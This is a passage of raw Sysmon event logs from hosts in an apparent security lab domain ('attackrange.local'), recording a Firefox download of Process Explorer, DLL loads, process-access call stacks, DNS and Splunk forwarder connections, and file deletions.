Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+39d8dfc|C:\Program Files\Mozilla Firefox\xul.dll+39d918d|C:\Program Files\Mozilla Firefox\xul.dll+36adc36|C:\Program Files\Mozilla Firefox\xul.dll+2db69c6|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+161355|C:\Program Files\Mozilla Firefox\xul.dll+1b5d936 15241500x800000000000000051332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.284{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\Downloads\ProcessExplorer.zip:Zone.Identifier2021-09-10 14:58:37.619MD5=8DF0FB8F7D0E00C258D1D8E1A2FE5453,SHA256=FC00A7715E7FE9D87AD0380579E1AE39D0A43A834CED6A3650273B50BA62A6F9,IMPHASH=00000000000000000000000000000000[ZoneTransfer] ZoneId=3 ReferrerUrl=https://docs.microsoft.com/ HostUrl=https://download.sysinternals.com/files/ProcessExplorer.zip 11241100x800000000000000051331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDownloads2021-09-10 14:58:40.283{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\Downloads\ProcessExplorer.zip:Zone.Identifier2021-09-10 14:58:37.619 15241500x800000000000000051330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.258{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\Downloads\ProcessExplorer.zip2021-09-10 14:58:37.619MD5=25D7D520D7349B4DB9EB192A5DB83B7C,SHA256=683D1507C5FEE0DDD8A99366237820623BD634D73006C3B174A7DDF4AEFB359D,IMPHASH=00000000000000000000000000000000- 734700x800000000000000051329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.270{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\policymanager.dll10.0.14393.4169 (rs1_release.210107-1130)Policy Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPolicyManager.dllMD5=58677E3FBF7D29109E8EB578062F1C81,SHA256=F751521EBC10CC1F0BC6AAB2715B9169439A014F178A7D6880080567D880C103,IMPHASH=E1BC13C6E7766D0332C0420A512C2799trueMicrosoft WindowsValid 10341000x800000000000000051328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.271{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd4837|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572 734700x800000000000000051327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.271{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp110_win.dll10.0.14393.2007 (rs1_release.171231-1800)Microsoft® STL110 C++ Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp110_win.dllMD5=BFB390484F611C21582AD11E4C6ADEF2,SHA256=30B5AD268C022FCA2AACAE2CB6E4DC36F6A01C16A006046BB4417CEA96DA4F5A,IMPHASH=80A56C2FEE02149B4E326F9A62FF4B12trueMicrosoft WindowsValid 10341000x800000000000000051326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.163{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.161{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.161{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.160{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.160{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000051321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDownloads2021-09-10 14:58:40.143{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\Downloads\ProcessExplorer.zip2021-09-10 14:58:40.142 10341000x800000000000000051320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.140{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.030{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 354300x800000000000000051346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.514{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59577-false142.250.186.106fra24s06-in-f10.1e100.net443https 354300x800000000000000051345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.372{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59576-false10.0.1.12-8000- 354300x800000000000000051344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.900{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local65535- 23542300x800000000000000051343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:41.664{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E2F4E8F48B6E51C54EC1B6E5AF4860D,SHA256=8A6FB78EAE88DB56703337E91FBBFC091C8787632EF82F3EFB82F749C1F2CCD1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:41.066{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CEB9F80657CD5B40A88A9F4D9C89B2E,SHA256=BA93FD5782902AB45401D15A35412A09758330515DC37179E6459DE651D28F73,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.735{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7A047EB78AC37E8845B0E8E4F75125E,SHA256=278ADE7E402D19BD01315846F9EF21EE1AA5F4C9FB43D4BC52792E0A5E808931,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:42.066{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6D5639DF9468BBABB42FB19C74E856C,SHA256=7DE8CC83D8277501AE31BEE7FDA14D8D7910CEB205A8A0E357B78CB0B6324FE0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.338{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B72F32648B0D119F43D75D05795EF6D6,SHA256=C2A1940A6D59CBA642EB5B15F2C25B605235F86BEFCA667205892AFD79CF0682,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.327{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B72F32648B0D119F43D75D05795EF6D6,SHA256=C2A1940A6D59CBA642EB5B15F2C25B605235F86BEFCA667205892AFD79CF0682,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.324{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=91336CA17FC152BF37E64CDD5A3F3A07,SHA256=0897779847C6A2CD8A256BA70195189A488ECF6BFF592D5EFD4B17CB39DF60C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.286{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24cca|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.285{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.285{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000051348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.282{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\taskschd.dll10.0.14393.4402 (rs1_release.210426-1725)Task Scheduler COM APIMicrosoft® Windows® Operating SystemMicrosoft Corporationtaskschd.dllMD5=76BF5CA81C749140E05C7519B13B299E,SHA256=D5CBDB2EEE67E582198F9DB213EC95DF9107F08D646E67FFA723066CC434B515,IMPHASH=2C7BF5CADC559377391AFDF385763E3CtrueMicrosoft WindowsValid 734700x800000000000000051347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:42.281{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 354300x800000000000000051360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:41.549{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61084- 354300x800000000000000051359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:41.549{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55152- 23542300x800000000000000051358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:43.880{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB911DDB87E485167C93BE1809F59AA7,SHA256=245418C0DE42E61D1484C836E9A040863F82C6F1D5297ABA7E380204940087DE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:42.466{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50290-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:43.112{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F551C85058348AB496E84BE7740B9A44,SHA256=18D0A283BD29E9053E54435ECB558A8D5EB28BFC00721807E9569826F23E506D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:43.362{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=14CB548D83B37BC9C34FFF7F037CF993,SHA256=B723DD606D60B846D8906E540D436E01A4FE9EC5E52E4C3EF49267B2AF187F23,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:43.361{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=D83292825287C5EA8B75C4D16C883548,SHA256=D85D8A666FC5AEFC8992B014089294F5285305B2B12ACDB4D53C029FCA99B5C6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:44.175{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C59F33BF5AA6130C63B6BE4BF1A05979,SHA256=6F16D3C1F59D8336F09201CEFBCF6161061ED3808C395FA0E2169D24A35D62B5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:41.550{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58298- 23542300x800000000000000016461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:45.237{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7DA5B442FF3027DF91910BF7D5070861,SHA256=E948E398EB8A78E55EB01E8FB845E27EB75C3261A3EC54CAFCD4CC3A16405A8F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:43.523{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59578-false10.0.1.12-8000- 23542300x800000000000000051367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.837{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=A4436F116D9BF68D7CBAA7F5E6F6EA62,SHA256=1C032CD965303D7BF96BDEBEED8153F1A64D36B991FE5C2CF73418DC20650611,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:45.833{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla 